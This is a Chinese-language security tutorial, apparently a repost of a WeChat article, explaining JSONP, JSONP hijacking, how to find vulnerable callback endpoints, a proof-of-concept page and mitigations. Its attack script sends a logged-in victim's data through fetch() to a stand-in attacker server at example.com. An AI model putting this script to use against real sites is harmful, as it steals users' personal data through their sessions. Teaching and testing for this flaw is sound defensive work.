JSONP
JSONP(JSON with Padding)是一种绕过同源策略,跨域访问资源的技术,原理是通过利用<script>
标签可以跨域访问资源的特性。
特点
仅允许GET方法。
服务器支持JSONP。
工作原理
例如网站A和B,A想要跨域访问B网站上的用户信息,即A为客户端,B为服务端,流程如下:
1、客户端定义回调函数。
functiontest(data) { //定义一个名为test的函数,data为test的参数,表示调用时传入的值。
console.log("收到数据:", data); //在控制台输出:“收到数据:data参数”
}
客户端需要先定义一个回调函数,用来处理服务器返回的数据。
2、客户端发起跨域请求。
<scriptsrc="http://b.com/api/userinfo?callback=test"></script>
URL地址是B网站获取用户信息的接口地址,callback
是一个约定俗成的参数名,用来告诉服务器,将返回内容包裹在指定的函数中,并且是以JS格式。callback
并不是固定的,也有可能是其他参数名,比如cb
、jsonp
、func
等等。
3、服务器返回数据。
服务器收到请求后,将数据包裹在客户端指定的回调函数中,并返回给客户端。
test({"name": "Alice", "age": 30});
4、浏览器执行回调函数。
客户端收到数据后,执行预先定义好的回调函数,数据在控制台输出。
JSONP劫持
目标网站使用JSONP实现跨域访问,攻击者构造恶意脚本,内容为访问目标接口,将内容返回到攻击者服务器,参考脚本如下:
<script>
functiontest(data) {
// 将数据发送到攻击者服务器
fetch('https://example.com?data=' + encodeURIComponent(JSON.stringify(data)));
}
</script>
<scriptsrc="http://b.com/api/userinfo?callback=test"></script>
攻击流程
1、用户登录目标网站。
要求用户必须登录目标网站(http://b.com),并保持会话(Cookie有效)。
2、用户访问恶意网站。
诱导用户点击恶意链接,访问恶意网站(http://example.com)。
3、发起JSONP请求。
用户访问后,恶意脚本被执行,浏览器会自动携带用户Cookie,获取用户数据,并返回到攻击者服务器。
危害
敏感信息泄露:包括但不限于用户个人信息(姓名、邮箱、手机号)、账户凭证(用户ID、用户账号名)、隐私内容(订单、私信)等,主要看目标网站接口都具体返回什么内容。
漏洞挖掘
识别JSONP接口
F12
打开浏览器开发者工具,转到Network(网络)面板,查找URL中带有callback=xxx、cb=xxx、jsonp=xxx等参数的请求。
或者在调试器搜索callback等关键字也可以。
检查敏感数据
案例中使用的console.log
函数,转到控制台查看结果。
或者直接访问目标接口,查看是否有敏感信息。
如果存在敏感信息,则可以考虑继续测试。
漏洞验证
PoC参考如下:
<script>
functiontest(data) {
console.log("收到数据:", data);
}
</script>
<scriptsrc="http://127.0.0.1/jsonp/userinfo?callback=test"></script>
在用户登录的浏览器下访问PoC文件,如果控制台输出敏感数据,则存在JSONP劫持漏洞。
预防
1、使用CORS+Token替代JSONP。
2、对敏感接口禁用跨域访问或不支持JSONP。
3、使用Token校验,如果身份验证未通过,则不返回数据。
总结
如果你对安全感兴趣,别忘了关注我们,持续为你带来最新的安全动态与技术分享!
原文始发于微信公众号(安全攻防实验室):JSONP劫持漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论